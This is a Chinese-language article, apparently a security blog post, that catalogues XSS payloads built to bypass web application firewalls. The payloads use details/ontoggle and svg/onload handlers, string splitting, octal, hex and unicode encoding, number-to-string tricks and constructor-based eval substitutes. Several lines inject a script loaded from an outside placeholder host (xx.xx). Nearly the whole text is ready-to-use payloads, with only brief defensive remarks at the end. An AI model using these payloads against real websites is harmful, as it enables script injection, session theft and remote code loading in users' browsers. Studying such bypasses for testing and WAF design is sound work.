XSS绕过某锁
字数 888 2025-08-25 22:58:34
XSS绕过WAF技术详解
前言
本文详细总结了多种绕过Web应用防火墙(WAF)的XSS攻击技术,包括标签遗漏、属性利用、编码技巧和函数构造等方法。这些技术展示了XSS攻击的多样性和创造性,同时也揭示了WAF防护的局限性。
遗漏标签技术
WAF在设计时需要考虑数据清洗过程中的资源消耗和业务影响,这可能导致某些标签被遗漏检测:
<details open ontoggle=alert(1)>
类似容易被遗漏的标签还有<svg>、<iframe>等,这些标签可以成为绕过WAF的入口点。
Top属性及其变种
通过利用JavaScript中的全局对象属性,可以构造多种绕过方式:
<details open ontoggle=top['al'%2B'ert'](1)>
<details open ontoggle=self['al'%2B'ert'](1)>
<details open ontoggle=parent['al'%2B'ert'](1)>
<details open ontoggle=frames['al'%2B'ert'](1)>
<details open ontoggle=content['al'%2B'ert'](1)>
<details open ontoggle=window['al'%2B'ert'](1)>
其中top是最短的变种,其他可用的全局对象包括self、parent、frames、content和window。
编码技术
通过编码敏感部分可以绕过WAF的关键字检测:
JS8编码
<details open ontoggle=top['al\145rt'](1)>
<details open ontoggle=top['\141\154\145\162\164'](1)>
JS16编码
<details open ontoggle=top['al\x65rt'](1)>
其他编码方式
<details open ontoggle=top[/al/.source%2B/ert/.source](1)>
parseInt()与toString()技巧
利用数字转换函数构造alert:
// alert字符串用parseInt函数,以基数为30转化后为8680439
8680439..toString(30) // 返回"alert"
实际应用:
<details open ontoggle=top[8680439..toString(30)](1);>
<details open ontoggle=top[11189117..toString(32)](1);>
属性拼接技巧
示例1:利用alt和lang属性
这个例子巧妙地将alt和lang属性分别赋值为"al"和"ert",合并后形成"alert"。
示例2:变量拼接
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
当alert被拦截时,可以改用其他函数如prompt,或者对alert(1)进行编码:
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
也可以使用setTimeout函数:
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
eval函数替代方案
setTimeout利用
<svg/onload=setTimeout`alert\u0028233\u0029`>
<svg/onload=setInterval('al'%2b'ert(1)')>
外部JS引用
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
编码变种
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
函数组合
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('')>
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('')>
constructor属性利用
通过JavaScript内置对象的constructor属性执行代码:
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>
<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>
总结
本文展示了多种绕过WAF的XSS技术,包括:
- 利用被WAF遗漏的HTML标签
- 通过JavaScript全局对象属性构造执行
- 各种编码技术绕过关键字检测
- 利用数字转换函数构造敏感字符串
- 属性拼接和变量构造技巧
- 替代eval函数的方法
- constructor属性利用
这些技术不仅展示了XSS攻击的多样性,也提醒我们在设计WAF规则时需要全面考虑各种可能的绕过方式。防御XSS攻击需要多层次的安全措施,而不仅仅是依赖WAF。